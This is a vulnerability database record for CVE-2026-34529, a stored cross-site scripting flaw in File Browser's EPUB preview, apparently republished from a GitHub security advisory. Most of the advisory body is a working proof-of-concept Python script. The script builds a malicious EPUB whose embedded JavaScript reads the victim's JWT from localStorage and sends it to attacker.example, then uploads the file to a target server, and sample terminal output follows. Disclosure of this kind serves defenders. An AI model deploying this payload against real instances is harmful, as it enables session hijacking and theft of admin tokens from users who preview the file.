{"id":"CVE-2026-34529","aliases":["GHSA-5vpr-4fgw-f69h","GO-2026-5156"],"url":"https://o3.security/vulnerability/CVE-2026-34529","summary":"File Browser is vulnerable to Stored Cross-site Scripting via crafted EPUB file","details":"### Summary\n\nThe EPUB preview function in File Browser is vulnerable to Stored Cross-site Scripting (XSS). JavaScript embedded in a crafted EPUB file executes in the victim's browser when they preview the file.\n\n### Details\n\n`frontend/src/views/files/Preview.vue` passes `allowScriptedContent: true` to the `vue-reader` (epub.js) component:\n```js\n// frontend/src/views/files/Preview.vue (Line 87)\n:epubOptions=\"{\n  allowPopups: true,\n  allowScriptedContent: true,\n}\"\n```\nepub.js renders EPUB content inside a sandboxed <iframe> with srcdoc. However, the sandbox includes both allow-scripts and allow-same-origin, which [renders the sandbox ineffective](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/iframe#allow-top-navigation-to-custom-protocols) — the script can access the parent frame's DOM and storage.\n\nThe epub.js developers explicitly [warn against enabling scripted content](https://github.com/futurepress/epub.js?tab=readme-ov-file#scripted-content).\n\n### PoC\nI've crafted the PoC python script that could be ran on test environment using docker compose:\n\n```yaml\nservices:\n\n  filebrowser:\n    image: filebrowser/filebrowser:v2.62.1\n    user: 0:0\n    ports:\n      - \"80:80\"\n```\n\nAnd running this PoC python script:\n```python\nimport argparse\nimport io\nimport sys\nimport zipfile\nimport requests\n\n\nBANNER = \"\"\"\n  Stored XSS via EPUB PoC\n  Affected: filebrowser/filebrowser <=v2.62.1\n  Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }\n  Related: CVE-2024-35236 (same pattern in audiobookshelf)\n\"\"\"\n\n\n\nCONTAINER_XML = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<container version=\"1.0\" xmlns=\"urn:oasis:names:tc:opendocument:xmlns:container\">\n  <rootfiles>\n    <rootfile full-path=\"OEBPS/content.opf\" media-type=\"application/oebps-package+xml\"/>\n  </rootfiles>\n</container>\"\"\"\n\n\n\nCONTENT_OPF = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<package xmlns=\"http://www.idpf.org/2007/opf\" unique-identifier=\"uid\" version=\"3.0\">\n  <metadata xmlns:dc=\"http://purl.org/dc/elements/1.1/\">\n    <dc:identifier id=\"uid\">poc-xss-epub-001</dc:identifier>\n    <dc:title>Security Test Document</dc:title>\n    <dc:language>en</dc:language>\n    <meta property=\"dcterms:modified\">2025-01-01T00:00:00Z</meta>\n  </metadata>\n  <manifest>\n    <item id=\"chapter1\" href=\"chapter1.xhtml\" media-type=\"application/xhtml+xml\"/>\n    <item id=\"nav\" href=\"nav.xhtml\" media-type=\"application/xhtml+xml\" properties=\"nav\"/>\n  </manifest>\n  <spine>\n    <itemref idref=\"chapter1\"/>\n  </spine>\n</package>\"\"\"\n\n\n\nNAV_XHTML = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:epub=\"http://www.idpf.org/2007/ops\">\n<head><title>Navigation</title></head>\n<body>\n  <nav epub:type=\"toc\">\n    <ol><li><a href=\"chapter1.xhtml\">Chapter 1</a></li></ol>\n  </nav>\n</body>\n</html>\"\"\"\n\n\n\nXSS_CHAPTER = \"\"\"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n<head><title>Chapter 1</title></head>\n<body>\n  <h1>Security Test Document</h1>\n  <p>This document tests EPUB script execution in File Browser.</p>\n  <p id=\"xss-proof\" style=\"color: red; font-weight: bold;\">Waiting...</p>\n  <p id=\"ip-proof\" style=\"color: orange; font-weight: bold;\">Fetching IP...</p>\n  <script>\n  var out = document.getElementById(\"xss-proof\");\n  var ipOut = document.getElementById(\"ip-proof\");\n  var jwt = \"not-found\";\n  try { jwt = window.parent.localStorage.getItem(\"jwt\"); } catch(e) { jwt = \"error: \" + e.message; }\n  out.innerHTML = \"XSS OK\" + String.fromCharCode(60) + \"br/\" + String.fromCharCode(62) + \"JWT: \" + jwt;\n  fetch(\"https://ifconfig.me/ip\").then(function(r){ return r.text(); }).then(function(ip){\n    ipOut.textContent = \"Victim public IP: \" + ip.trim();\n  }).catch(function(e){\n    ipOut.textContent = \"IP fetch failed: \" + e.message;\n  });\n  var img = new Image();\n  img.src = \"https://attacker.example/?stolen=\" + encodeURIComponent(jwt);\n  </script>\n</body>\n</html>\"\"\"\n\n\n\n\ndef login(base: str, username: str, password: str) -> str:\n    r = requests.post(f\"{base}/api/login\",\n                      json={\"username\": username, \"password\": password},\n                      timeout=10)\n    if r.status_code != 200:\n        print(f\"[-] Login failed: {r.status_code}\")\n        sys.exit(1)\n    return r.text.strip('\"')\n\n\n\ndef build_epub() -> bytes:\n    \"\"\"Build a minimal EPUB 3 file with embedded JavaScript.\"\"\"\n    buf = io.BytesIO()\n    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:\n        zf.writestr(\"mimetype\", \"application/epub+zip\", compress_type=zipfile.ZIP_STORED)\n        zf.writestr(\"META-INF/container.xml\", CONTAINER_XML)\n        zf.writestr(\"OEBPS/content.opf\", CONTENT_OPF)\n        zf.writestr(\"OEBPS/nav.xhtml\", NAV_XHTML)\n        zf.writestr(\"OEBPS/chapter1.xhtml\", XSS_CHAPTER)\n    return buf.getvalue()\n\n\n\ndef main():\n    print(BANNER)\n    ap = argparse.ArgumentParser(\n        formatter_class=argparse.RawDescriptionHelpFormatter,\n        description=\"Stored XSS via malicious EPUB PoC\",\n        epilog=\"\"\"examples:\n  %(prog)s -t http://localhost:8080 -u admin -p admin\n  %(prog)s -t http://target.com/filebrowser -u user -p pass\n\nroot cause:\n  frontend/src/views/files/Preview.vue passes\n  epubOptions: { allowScriptedContent: true } to the vue-reader\n  (epub.js) component. The iframe sandbox includes allow-scripts\n  and allow-same-origin, which lets the script access the parent\n  frame's localStorage and make arbitrary network requests.\n\nimpact:\n  Session hijacking, privilege escalation, data exfiltration.\n  A low-privilege user with upload access can steal admin tokens.\"\"\",\n    )\n\n    ap.add_argument(\"-t\", \"--target\", required=True,\n                    help=\"Base URL of File Browser (e.g. http://localhost:8080)\")\n    ap.add_argument(\"-u\", \"--user\", required=True,\n                    help=\"Username to authenticate with\")\n    ap.add_argument(\"-p\", \"--password\", required=True,\n                    help=\"Password to authenticate with\")\n    if len(sys.argv) == 1:\n        ap.print_help()\n        sys.exit(1)\n    args = ap.parse_args()\n\n    base = args.target.rstrip(\"/\")\n\n    print()\n    print(\"[*] ATTACK BEGINS...\")\n    print(\"====================\")\n\n    print(f\"  [1] Authenticating to {base}\")\n    token = login(base, args.user, args.password)\n    print(f\"      Logged in as: {args.user}\")\n\n    print(f\"\\n  [2] Building malicious EPUB\")\n    epub_data = build_epub()\n    print(f\"      EPUB size: {len(epub_data)} bytes\")\n\n    upload_path = \"/poc_xss_test.epub\"\n    print(f\"\\n  [3] Uploading to {upload_path}\")\n    requests.delete(f\"{base}/api/resources{upload_path}\",\n                    headers={\"X-Auth\": token}, timeout=10)\n    r = requests.post(\n        f\"{base}/api/resources{upload_path}?override=true\",\n        data=epub_data,\n        headers={\n            \"X-Auth\": token,\n            \"Content-Type\": \"application/epub+zip\",\n        },\n        timeout=30\n    )\n\n    if r.status_code in (200, 201, 204):\n        print(f\"      Upload OK ({r.status_code})\")\n    else:\n        print(f\"      Upload FAILED: {r.status_code} {r.text[:200]}\")\n        sys.exit(1)\n\n    preview_url = f\"{base}/files{upload_path}\"\n\n    print(f\"\\n  [4] Done\")\n    print(f\"      Preview URL: {preview_url}\")\n    print(\"====================\")\n    print()\n    print()\n    print(f\"Open the URL above in a browser. You should see:\")\n    print(f\"  - Red text:    \\\"XSS OK\\\" + stolen JWT token\")\n    print(f\"  - Orange text: victim's public IP (via ifconfig.me)\")\n    print()\n    print(f\"NOTE: alert() is blocked by iframe sandbox (no allow-modals).\")\n    print(f\"The attack is silent — JWT theft and network exfiltration work.\")\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\nAnd terminal output:\n```bash\nroot@server205:~/sec-filebrowser# python3 poc_xss_epub.py  -t http://localhost -u admin -p VJlfum8fGTmyXx8t\n\n  Stored XSS via EPUB PoC\n  Affected: filebrowser/filebrowser <=v2.62.1\n  Root cause: Preview.vue -> epubOptions: { allowScriptedContent: true }\n  Related: CVE-2024-35236 (same pattern in audiobookshelf)\n\n\n[*] ATTACK BEGINS...\n====================\n  [1] Authenticating to http://localhost\n      Logged in as: admin\n\n  [2] Building malicious EPUB\n      EPUB size: 1927 bytes\n\n  [3] Uploading to /poc_xss_test.epub\n      Upload OK (200)\n\n  [4] Done\n      Preview URL: http://localhost/files/poc_xss_test.epub\n====================\n\n\nOpen the URL above in a browser. You should see:\n  - Red text:    \"XSS OK\" + stolen JWT token\n  - Orange text: victim's public IP (via ifconfig.me)\n\nNOTE: alert() is blocked by iframe sandbox (no allow-modals).\nThe attack is silent — JWT theft and network exfiltration work.\n```\n\n\n<br/>\n\n### Impact\n- JWT token theft — full session hijacking\n- Privilege escalation — a low-privilege user with upload (Create) permission can steal an admin's token","published":"2026-04-01T20:39:07.002Z","modified":"2026-08-12T03:51:09.580855227Z","cvss":{"score":7.6,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/filebrowser/filebrowser/v2","fixedVersion":"2.62.2"}],"fix":null,"references":[{"type":"WEB","url":"https://github.com/filebrowser/filebrowser/releases/tag/v2.62.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/34xxx/CVE-2026-34529.json"},{"type":"ADVISORY","url":"https://github.com/filebrowser/filebrowser/security/advisories/GHSA-5vpr-4fgw-f69h"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34529"},{"type":"PACKAGE","url":"https://github.com/filebrowser/filebrowser"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:09.580855227Z"}}